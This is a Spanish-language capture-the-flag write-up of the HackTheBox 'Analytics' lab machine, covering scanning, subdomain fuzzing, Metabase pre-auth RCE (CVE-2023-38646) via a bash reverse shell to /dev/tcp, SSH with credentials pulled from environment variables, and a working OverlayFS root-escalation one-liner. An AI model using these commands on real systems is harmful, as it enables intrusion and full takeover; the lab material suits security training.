Entrada

Analytics - WriteUp

🎯 Machine Info

Machine Analytics
Platform HTB
OS Linux
Difficulty Easy

Analytics


Máquina Linux

NMAP:

1
2
3
4
5
6
7
8
9
10
11
12
13
# Nmap 7.94SVN scan initiated Fri Nov 24 12:39:24 2023 as: nmap -sCV -p 22,80 --stylesheet=https://raw.githubusercontent.com/honze-net/nmap-bootstrap-xsl/stable/nmap-bootstrap.xsl -oN targeted -oX targetedXML 10.129.116.182
Nmap scan report for 10.129.116.182
Host is up (0.058s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://analytical.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Vemos un VHOST apuntando a “analytical.htb”, actualizamos /etc/hosts y seguimos.

WEB

ANALYTICS

Posibles usuarios y un correo electrĂłnico.

ANALYTICS

ANALYTICS

Si pulsamos sobre Login intenta conectar con el subdominio data. Tendremos que agregarlo a nuestro archivo hosts.

ANALYTICS

Accedemos de nuevo y vemos la pantalla de login:

ANALYTICS

FUZZING

Como vemos que puede contener subdominios, vamos a intentar enumerarlos mediante fuzzing por si huberan más.

1
$ wfuzz -c -f sub-fighter -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u 'http://analytical.htb' -H "Host: FUZZ.analytical.htb" --hc 302 

Parece que solo existe “data”.

ANALYTICS

Ahora toca hacer un fuzzing de subdirectorios, hemos escondido las páginas con 27 líneas de longitud porque está configurado para que devuelva estado 200 en todas las páginas:

1
$ wfuzz -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hl 27  -t 100 http://data.analytical.htb/FUZZ

ANALYTICS

Vamos a buscar si existen vulnerabilidades en la API de MetaBase

La vulnerabilidad es https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-38646 y permite ejecutar cĂłdigo sin autenticaciĂłn.

Encontramos un exploit que se adapta a nuestro entorno.

https://github.com/Pyr0sec/CVE-2023-38646/tree/main

ANALYTICS

El exploit es “Pre-Auth” y requiere de un token que no tenemos para que se lleve a cabo la explotación y conseguir una reverse shell.

En la misma página del exploit nos da una referencia a otra web https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/ y nos explica dónde obtener el token que necesitamos.

ANALYTICS

Vamos a la ruta que nos indica y buscamos el “setup token” que necesitamos.

ANALYTICS

Tenemos el token que nos hacĂ­a falta.

Lanzamos el exploit no sin antes ponernos en escucha con netcat para recibir la reverse shell.

1
$ python3 exploit.py -u http://data.analytical.htb -t 249fa03d-fd94-4d5b-b94f-b4ebf3df681f -c "bash -i >& /dev/tcp/10.10.16.25/9001 0>&1"

ANALYTICS

Y pa dentro…

Por la IP y el prompt parece que estamos en un contenedor y no en el propio host.

Vamos a enumerar para intentar salir del contenedor.

Empezamos con env

ANALYTICS

Encontramos unas credenciales:

1
metalytics:An4lytics_ds20223#

Como tiene el puerto 22 abierto, vamos a usarlas para conectar por SSH a la máquina host:

1
2
3
$ ssh metalytics@10.129.116.182
...
Password: An4lytics_ds20223#

ANALYTICS

Perfecto, estamos en la máquina host!

Registramos la primera bandera y enumeramos…

ANALYTICS

Vamos a buscar vulnerabilidades de kernel, por si las tuviera.

Encontramos esta: https://www.reddit.com/r/selfhosted/comments/15ecpck/ubuntu_local_privilege_escalation_cve20232640/

ANALYTICS

Creamos un archivo en /tmp y lo llamaremos exploit.sh y dentro escribiremos lo siguiente:

1
2
3
#!/bin/bash  

unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("cp /bin/bash /var/tmp/bash && chmod 4755 /var/tmp/bash && /var/tmp/bash -p && rm -rf l m u w /var/tmp/bash")'

Le damos permisos de ejecuciĂłn y lo ejecutamos.

1
2
3
4
5
6
7
metalytics@analytics:/tmp$ ./exploit.sh 

root@analytics:/tmp# whoami
root

root@analytics:/tmp# cat /root/root.txt
36e6388e8c93cc40fdbaeb585ae010c2 

Perfecto! otra bandera para la colecciĂłn!


ANEXO: Otro exploit para compilar con gcc https://github.com/briskets/CVE-2021-3493



Ăšltima actualizaciĂłn: 2024-08-16
Autor: A. Lorente
Licencia: Creative Commons BY-NC-SA 4.0

Esta entrada está licenciada bajo CC BY 4.0 por el autor.